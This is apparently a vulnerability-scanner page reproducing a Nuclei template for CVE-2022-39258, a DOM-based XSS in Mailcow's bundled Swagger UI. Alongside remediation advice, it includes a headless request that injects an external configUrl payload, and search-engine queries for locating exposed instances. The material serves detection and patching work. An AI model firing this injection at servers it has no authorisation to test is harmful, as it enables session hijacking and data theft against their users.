SecurityContext

CVE-2022-39258: Mailcow Dockerized Swagger UI - Cross-Site Scripting

  • Template: CVE-2022-39258
  • Name: Mailcow Dockerized Swagger UI - Cross-Site Scripting
  • Description: Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.
  • Impact: Successful exploitation allows an attacker to run arbitrary JavaScript in the context of the victim's browser (session hijacking, data theft, or account takeover) if the victim visits a crafted Swagger UI documentation URL within mailcow-dockerized affected versions.
  • Remediation: Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.
  • Severity: medium
  • Authors: ritikchaddha
  • Tags: cve, cve2022, headless, swagger, mailcow, xss, dom-xss, mailcow
  • References: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-99r2-q6fj-6w47, https://github.com/swagger-api/swagger-ui/issues/8322, https://nvd.nist.gov/vuln/detail/CVE-2022-39258
  • Cves: CVE-2022-39258
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2022/CVE-2022-39258.yaml
  • Digest: 490a004630440220592f8b338a3c7d9a5b6bdf5f387f5d2e9b3ab8536b044902b364a655d60df43c02200773a8f971d7f60b62deb85e166da15a68671fb02e021dc189560b77e62b4948
  • Created at: 2026-08-30T09:28:19Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 86
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39258.yaml

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01872
  • Epss percentile: 0.79912
  • Cpe: cpe:2.3:a:mailcow:mailcow-dockerized:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: icon_hash="-1180440057"
  • Max-request: 1
  • Product: mailcow-dockerized
  • Shodan-query: http.component:"Swagger", http.component:"swagger", http.favicon.hash:"-1180440057"
  • Vendor: mailcow
  • Verified: yes
  • Zoomeye-query: app:"Swagger UI"

Products

ProductIndexedUrl
mailcow:mailcow-dockerizedno—

Labels

  • Name: mailcow - Open Redirect & Phishing
  • Impact: Attackers can redirect users to malicious sites or steal credentials, leading to credential theft or phishing attacks.
  • Remediation: Update to mailcow 2022-09 or later; as a workaround, delete the Swagger API Documentation from the server.
  • Vulnerability type: template_injection
  • Vulnerability impact: information_disclosure, client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-39258
  • Not known: requirements

```yaml

id: CVE-2022-39258

info:

name: Mailcow Dockerized Swagger UI - Cross-Site Scripting

author: ritikchaddha

severity: medium

description: |

Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.

impact: |

Successful exploitation allows an attacker to run arbitrary JavaScript in the context of the victim's browser (session hijacking, data theft, or account takeover) if the victim visits a crafted Swagger UI documentation URL within mailcow-dockerized affected versions.

remediation: |

Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.

reference:

- https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-99r2-q6fj-6w47

- https://github.com/swagger-api/swagger-ui/issues/8322

- https://nvd.nist.gov/vuln/detail/CVE-2022-39258

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-39258

cwe-id: CWE-79

epss-score: 0.01872

epss-percentile: 0.79912

cpe: cpe:2.3:a:mailcow:mailcow-dockerized:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: mailcow

product: mailcow-dockerized

shodan-query:

- http.component:"Swagger"

- http.component:"swagger"

- http.favicon.hash:"-1180440057"

fofa-query: icon_hash="-1180440057"

zoomeye-query: app:"Swagger UI"

tags: cve,cve2022,headless,swagger,mailcow,xss,dom-xss,mailcow

headless:

- steps:

- args:

url: '{{BaseURL}}/api/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'

action: navigate

- action: waitdialog

name: swagger_dom

matchers-condition: and

matchers:

- type: dsl

dsl:

- swagger_dom == true

- type: word

part: body

words:

- "swagger"

case-insensitive: true

digest: 490a004630440220592f8b338a3c7d9a5b6bdf5f387f5d2e9b3ab8536b044902b364a655d60df43c02200773a8f971d7f60b62deb85e166da15a68671fb02e021dc189560b77e62b4948:922c64590222798bb761d5b6d8e72950

```